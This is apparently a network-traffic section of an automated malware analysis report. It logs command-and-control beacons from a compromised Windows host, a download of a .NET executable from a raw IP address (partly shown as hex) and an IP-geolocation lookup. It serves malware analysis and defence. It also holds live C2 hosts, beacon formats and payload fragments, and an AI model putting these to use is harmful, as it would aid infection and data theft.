Jan 7, 2024 05:30:27.080121040 CET	354	OUT	Data Raw: 48 9d 8c cf 4e 66 52 2e 5c 70 53 26 79 db 22 ca 21 68 99 14 f8 19 aa da b2 19 a5 8c 03 85 de 92 f9 ac 8e bf 74 44 90 b7 a4 28 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a3 19 b2 8a 14 62 cc d6 4f 96 a4 d1 3b dd Data Ascii: HNfR.\pS&y"!htD(j~_=;}f=B!bO;iR.ZVhAkRF-pR w_(#>25d<VY>\|UO68qi@e>nj'9QL'.Po0!i14's\,7Z
Jan 7, 2024 05:30:27.294107914 CET	604	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sun, 07 Jan 2024 04:30:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Jan 7, 2024 05:30:27.301480055 CET	288	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ltilqlkbbnhbgnpd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 182 Host: selebration17io.io
Jan 7, 2024 05:30:27.301542997 CET	182	OUT	Data Raw: 48 9d 8c cf 4e 66 52 2e 5c 70 53 26 79 db 22 ca 21 68 99 14 f8 19 aa da b2 19 a5 8c 03 85 de 92 f9 ac 8e bf 74 44 90 b7 a4 28 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a2 19 b3 8a 14 62 cd d6 4f 96 8c f9 50 b3 Data Ascii: HNfR.\pS&y"!htD(j~_=;}f=B!bOPukF}ed1Gy'vJ2ymi:5#X_.K.:rW*
Jan 7, 2024 05:30:27.515363932 CET	255	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sun, 07 Jan 2024 04:30:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 33 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 48 db 45 83 1a 84 a0 4e f3 66 a3 72 1d 5a 63 a7 64 06 67 dd 00 7e 5a 28 80 af d0 ef 8c 20 c2 37 73 5e 36 b3 b6 bf f5 06 6e 92 24 2b a0 87 9b 6c 0d 0a 30 0d 0a 0d 0a Data Ascii: 43Uys/~(`:HENfrZcdg~Z( 7s^6n$+l0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49784	5.42.66.0	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:27.770375013 CET	185	OUT	GET /288c47bbc187111b439df19ff4df68f076.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 5.42.66.0
Jan 7, 2024 05:30:28.006428003 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 07 Jan 2024 04:30:27 GMT Content-Type: application/octet-stream Content-Length: 6775808 Last-Modified: Wed, 03 Jan 2024 18:38:18 GMT Connection: keep-alive ETag: "6595a99a-676400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 9a a9 95 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 5a 67 00 00 08 00 00 00 00 00 00 3e 78 67 00 00 20 00 00 00 80 67 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 67 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f0 77 67 00 4b 00 00 00 00 80 67 00 48 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 67 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 44 58 67 00 00 20 00 00 00 5a 67 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 48 05 00 00 00 80 67 00 00 06 00 00 00 5c 67 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 67 00 00 02 00 00 00 62 67 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 78 67 00 00 00 00 00 48 00 00 00 02 00 05 00 2c 62 67 00 c4 15 00 00 03 00 00 00 01 00 00 06 a8 27 00 00 81 3a 67 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 5f 01 00 00 01 00 00 11 7e 03 00 00 04 2c 0d 28 11 00 00 06 2c 06 16 28 0d 00 00 0a 7e 04 00 00 04 2c 0d 28 13 00 00 06 2c 06 16 28 0d 00 00 0a 7e 05 00 00 04 2c 0d 28 15 00 00 06 2c 06 16 28 0d 00 00 0a 7e 06 00 00 04 2c 0d 28 16 00 00 06 2c 06 16 28 0d 00 00 0a 7e 01 00 00 04 2c 10 7e 02 00 00 04 20 e8 03 00 00 5a 28 0e 00 00 0a 7e 07 00 00 04 2c 11 72 01 00 00 70 72 01 00 00 70 16 28 09 00 00 06 26 16 0a 38 c2 00 00 00 7e 0c 00 00 04 06 6f 0f 00 00 0a 0b 7e 0d 00 00 04 06 6f 0f 00 00 0a 0c 7e 0e 00 00 04 06 6f 0f 00 00 0a 0d 7e 0f 00 00 04 06 6f 0f 00 00 0a 13 04 07 28 08 00 00 06 13 05 7e 0a 00 00 04 2c 09 11 05 28 02 00 00 06 13 05 7e 09 00 00 04 72 03 00 00 70 28 10 00 00 0a 2c 1a 28 11 00 00 0a 72 19 00 00 70 6f 12 00 00 0a 11 05 28 04 00 00 06 13 05 2b 29 7e 09 00 00 04 72 31 00 00 70 28 10 00 00 0a 2c 18 11 05 28 11 00 00 0a 72 19 00 00 70 6f 12 00 00 0a 28 03 00 00 06 13 05 11 04 07 08 28 13 00 00 0a 28 14 00 00 0a 13 06 11 05 11 06 28 0d 00 00 06 11 06 09 28 0f 00 00 06 06 17 58 0a 06 7e 0c 00 00 04 6f 15 00 00 0a 3f 2e ff ff ff 7e 08 00 00 04 26 2a 00 1b 30 02 00 2f 00 00 00 02 00 00 11 02 73 16 00 00 0a 0a 73 17 00 00 0a 0b 06 16 73 18 00 00 0a 0c 08 07 6f 19 00 00 0a de 0a 08 2c 06 08 6f 1a 00 00 0a dc 07 6f 1b 00 00 0a 2a 00 01 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELeZg>xg g@ g@wgKgHg H.textDXg Zg `.rsrcHg\g@@.relocgbg@B xgH,bg':g0_~,(,(~,(,(~,(,(~,(,(~,~ Z(~,rprp(&8~o~o~o~o(~,(~rp(,(rpo(+)~r1p(,(rpo(((((X~o?.~&0/ssso,oo
Jan 7, 2024 05:30:28.006481886 CET	1286	IN	Data Raw: 10 00 00 02 00 15 00 09 1e 00 0a 00 00 00 00 13 30 06 00 28 00 00 00 03 00 00 11 02 8e 69 8d 1a 00 00 01 0a 16 0b 2b 13 06 07 02 07 91 03 07 03 8e 69 5d 91 61 d2 9c 07 17 58 0b 07 02 8e 69 32 e7 06 2a 36 02 03 28 06 00 00 06 28 01 00 00 2b 2a 0e Data Ascii: 0(i+i]aXi26((+0c (~-s~(+(++ i]XX _(X 2(!*0w{X _}{
Jan 7, 2024 05:30:28.006617069 CET	1286	IN	Data Raw: 0a 00 00 00 00 13 30 01 00 18 00 00 00 0c 00 00 11 72 39 02 00 70 28 12 00 00 06 0a 12 00 28 49 00 00 0a 2c 02 17 2a 16 2a 13 30 02 00 16 00 00 00 0d 00 00 11 16 0a 28 4a 00 00 0a 6f 4b 00 00 0a 12 00 28 14 00 00 06 26 06 2a 00 00 1b 30 02 00 36 Data Ascii: 0r9p((I,*0(JoK(&06(L(M((L(MYj/&*//(!}:glSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.
Jan 7, 2024 05:30:28.006704092 CET	1286	IN	Data Raw: 71 00 65 00 6f 00 64 00 6d 00 73 00 68 00 73 00 66 00 6b 00 71 00 71 00 65 00 6f 00 64 00 6d 00 73 00 68 00 73 00 66 00 6b 00 71 00 71 00 65 00 6f 00 64 00 6d 00 73 00 68 00 73 00 66 00 6b 00 71 00 71 00 65 00 6f 00 64 00 6d 00 73 00 68 00 73 00 Data Ascii: qeodmshsfkqqeodmshsfkqqeodmshsfkqqeodmshsfkqqeodmshsfkqqeodmshsfkqqeodmshsfkqqeodmshsfkqqeodmshsfkqqeodmshnf
Jan 7, 2024 05:30:28.006795883 CET	1286	IN	Data Raw: 8f 00 68 00 73 e8 77 05 6b 00 1b 00 1b 00 8d 08 6a 00 64 6a 6d 6a 73 e8 44 06 73 00 e5 c4 73 e8 3b ff 8e ff 0f 00 87 3e 62 00 6d 6a 73 e8 2f 06 73 00 e5 c4 63 8d 04 c8 b6 45 99 ff 90 ff 9b e8 17 03 73 00 c9 70 3d 80 66 a3 b7 3e b3 00 d0 d8 5b c2 Data Ascii: hswkjdjmjsDss;>bmjs/scEsp=f>[o/l#jh>(AdS={Lp,MQju9D[ovP8chndvkx$eo>TKxq\|(Ko`1=>f6\|Uejojm&:jfjkdae*4
Jan 7, 2024 05:30:28.006880045 CET	1286	IN	Data Raw: 9d ff 04 0c 0f 0a 05 00 9b 75 65 e8 77 06 68 00 f0 c4 76 5d a8 8b 8e 55 fa ec 38 e9 b3 ff 9b ff e6 ff 26 8b 84 5d 9a 06 60 00 6b 8b 8e 55 fa ec e4 ec 47 03 64 00 cc c8 33 80 68 33 b6 89 23 fc 9d 05 71 40 f1 00 64 56 1b 08 0e 0a 85 33 7f 00 68 59 Data Ascii: uewhv]U8&]`kUGd3h3#q@dV3hYplktyjsd4v(siqfffEa0fk/P
Jan 7, 2024 05:30:28.007083893 CET	1286	IN	Data Raw: a6 80 9a 61 e8 f9 6a 0f d8 cb 1c 03 f2 e9 51 83 a4 c9 54 4d 70 73 74 83 3e 18 60 39 36 fc 14 27 1e 04 4a ca 07 21 e6 4d 77 04 e7 7d 7d 00 06 23 e3 45 6b 4f ce 08 1e 20 f2 7d 61 00 11 03 e4 7d 68 83 08 fc 73 eb 33 8b 2e fc 69 af 36 14 72 d9 f8 5d Data Ascii: ajQTMpst>`96'J!Mw}}#EkO }a}hs3.i6r]pGwu}juL}mwauM9&ho!ls"hst`&~ mjdXb6E{ts]ftn.}EpEctqVqtv `^(_6UB!uh
Jan 7, 2024 05:30:28.007150888 CET	1286	IN	Data Raw: 1e 16 f0 fa 71 01 65 00 1d 0e e7 3d 41 3f b1 00 68 74 76 e9 77 36 6b 00 26 8b 88 83 9f 04 1d 31 93 d9 ee e1 70 74 64 2b a2 88 61 83 ac 01 f2 e9 70 75 93 8b a7 c1 84 08 6e c1 f8 c8 a9 e0 63 03 a7 8b a1 83 93 03 b0 e9 67 74 69 f3 cf 85 bf 74 79 88 Data Ascii: qe=A?htvw6k&1ptd+apuncgtityoju5$m_ $i=# qQ<sQ;$ (B%98}c;rkkM{^]HPutg3]X"hzf2 HUo4m@}]yL*+tQ+tc
Jan 7, 2024 05:30:28.007225037 CET	1286	IN	Data Raw: ee 06 e5 07 f9 46 69 88 34 01 ec 46 69 c1 98 02 f9 47 67 83 a9 03 e7 c7 6e 83 8a 08 1a cc 80 a5 99 24 fe 24 58 40 71 8d 2c 00 4c d1 ee 06 e5 07 f9 46 69 c1 9a 02 ee 47 6a 83 b7 02 f2 c7 67 83 96 08 16 a6 9e a5 8c 24 fd 24 5a 40 66 90 48 d1 fb 06 Data Ascii: Fi4FiGgn$$X@q,LFiGjg$$Z@fHnr$$X@e&)-{)(s)&(1(%($(3(3DDDDDDDDDDDDDDshOU)1[)$Q)3 )3:)+Ey^:
Jan 7, 2024 05:30:28.007314920 CET	1286	IN	Data Raw: 0d c0 67 03 b3 3b b9 73 6d 39 56 75 60 8b ac eb 71 33 a8 85 b3 74 6c 8b 33 08 f8 5d 8d 85 be 75 68 33 a4 e9 96 00 73 00 eb fb 76 75 6a 83 0b 08 71 33 b1 40 8c ea 6f 00 64 83 96 01 7c 84 b6 00 73 00 ed 4e 0b 89 3c f8 fa 4d 69 89 21 60 ef 48 69 83 Data Ascii: g;sm9Vu`q3tl3]uh3svujq3@od\|sN<Mi!`Higf1B=+BpS$g\d\oY@/suD1fBh};\|9~=fFeo:=sFkq?=oFhsX=qFdm]=sFqeq=mFf
Jan 7, 2024 05:30:28.242575884 CET	1286	IN	Data Raw: 4a 0a a2 40 4b 0a fa 78 50 c6 33 34 66 83 ab 40 fa 0d 11 3f a7 00 ee c1 64 08 6d 00 48 c1 1a cc 15 39 1b ce 64 84 7b 01 71 00 ee 45 bf 3b a3 0f e9 ff 73 00 68 8b 4b 8d 3e 04 e6 04 4a 89 34 e4 db 00 67 00 64 3b 93 7c 71 8b 96 c7 36 e0 67 00 6b 00 Data Ascii: J@KxP34f@?dmH9d{qE;shK>J4gd;\|q6gk[@ MLmYt%+`NenaLRs sf@u$gh$+%{1&o8d-4s@ePE9RL[m\|nNLYkq~!t%QK<fxstWj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49785	208.95.112.1	80	5544	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:29.287564039 CET	64	OUT	GET /json HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jan 7, 2024 05:30:29.383418083 CET	474	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:30:28 GMT Content-Type: application/json; charset=utf-8 Content-Length: 297 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 59 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 7a 69 70 22 3a 22 31 30 31 31 38 22 2c 22 6c 61 74 22 3a 34 30 2e 37 31 32 33 2c 22 6c 6f 6e 22 3a 2d 37 34 2e 30 30 36 38 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 43 6f 67 65 6e 74 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 22 2c 22 6f 72 67 22 3a 22 49 70 78 6f 22 2c 22 61 73 22 3a 22 41 53 31 37 34 20 43 6f 67 65 6e 74 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 22 2c 22 71 75 65 72 79 22 3a 22 31 39 31 2e 39 36 2e 32 32 37 2e 31 37 36 22 7d Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"NY","regionName":"New York","city":"New York","zip":"10118","lat":40.7123,"lon":-74.0068,"timezone":"America/New_York","isp":"Cogent Communications","org":"Ipxo","as":"AS174 Cogent Communications","query":"191.96.227.176"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49786	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:34.211791992 CET	287	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vrpyhybyscdqjqo.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 308 Host: selebration17io.io
Jan 7, 2024 05:30:34.215567112 CET	308	OUT	Data Raw: 48 9d 8c cf 4e 66 52 2e 5c 70 53 26 79 db 22 ca 21 68 99 14 f8 19 aa da b2 19 a5 8c 03 85 de 92 f9 ac 8e bf 74 44 90 b7 a4 28 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a3 19 b3 8a 14 62 cc d6 4f 96 e4 e5 5c c4 Data Ascii: HNfR.\pS&y"!htD(j~_=;}f=B!bO\+]z)M0s8-6gWk'+\Av uM<JJ.3E<=TQ4{$/kuJJL7P_@ NT!>)`2tc
Jan 7, 2024 05:30:34.431304932 CET	604	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sun, 07 Jan 2024 04:30:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49788	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:37.058792114 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aunqllmjsfhfl.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 260 Host: gxutc2c.com
Jan 7, 2024 05:30:37.058845043 CET	260	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 62 2e fc a3 Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA .[k,vub.i;P[nN>l/WgasngcO9BUnJ9Cla%*hu#{XOQ/v]c!%nXgl@zRatRj)
Jan 7, 2024 05:30:37.458818913 CET	253	IN	HTTP/1.0 404 Not Found Date: Sun, 07 Jan 2024 04:30:37 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 8 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 04 00 00 00 72 e8 85 eb Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49791	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:37.997220993 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fgxpblrvkyqfs.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 264 Host: gxutc2c.com
Jan 7, 2024 05:30:37.997251987 CET	264	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 2d 1e ca 9d Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA -[k,vu-eHYbsU5VdIi<d]`$O_3\819+inI\|scc./w4,hfST1#\|uy\|qR)+
Jan 7, 2024 05:30:38.397644043 CET	587	IN	HTTP/1.0 404 Not Found Date: Sun, 07 Jan 2024 04:30:38 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49793	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:38.762985945 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://byajjksfuiq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 365 Host: gxutc2c.com
Jan 7, 2024 05:30:38.763035059 CET	365	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 26 23 b1 a2 Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA -[k,vu&#*YflD?x?V@~n2GY1r}%2N"3m(3\\-3r_>$J9of~1VdneP!a
